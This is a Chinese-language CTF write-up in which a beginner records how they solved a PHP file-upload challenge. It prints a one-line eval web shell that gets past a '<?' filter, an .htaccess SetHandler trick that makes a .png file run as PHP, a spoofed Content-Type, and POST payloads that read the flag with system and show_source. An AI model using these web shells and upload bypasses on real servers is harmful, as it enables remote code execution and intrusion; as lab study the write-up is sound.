CTF小白试图写一些细到极致的wp来给健忘的自己看_(:з」∠)_
看到上传文件就刨出了一句话木马:
<script language="php">
eval($_POST['a']);
</script>
顺便绕过了<?过滤,歪打正着了属于是
然后发现文件后缀名还过滤了ph,改成png啥的都ok
直接上传显示文件类型太露骨,在Burp Suite里面修改Content-Type: image/jpeg,显示成功上传,然而打开对应目录只有一张不能显示的图片,蚁剑也连不上
看报错信息发现是apache服务器,从大佬的wp得知了原来有上传漏洞= =
见:利用.htaccess文件攻击上传Shell
于是先上传.htaccess文件,内容:
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
注意FilesMatch后面跟的是稍后要上传的一句话木马文件名称/后缀名!!!
记得修改Content-Type: image/jpeg,不然上传不了
然后上传1.png,内容:
GIF
<script language="php">
eval($_POST['a']);
</script>
不过其实这道题没有检验文件头= =
蚁剑连接返回的.../upload/..../1.png即可在根目录下找到flag
另外还学了一种,一句话木马采用:
GIF
<script language="php">
assert($_POST['a']);
</script>
这种蚁剑连不上,但是可以用hackbar的post方法
a=system("cat flag");
结果报错,phpinfo()发现禁用了系统函数
然后学到了show_source()函数的用法!神奇!
见:PHP中的show_source()函数
于是:
a=show_source('/flag',false);
得到flag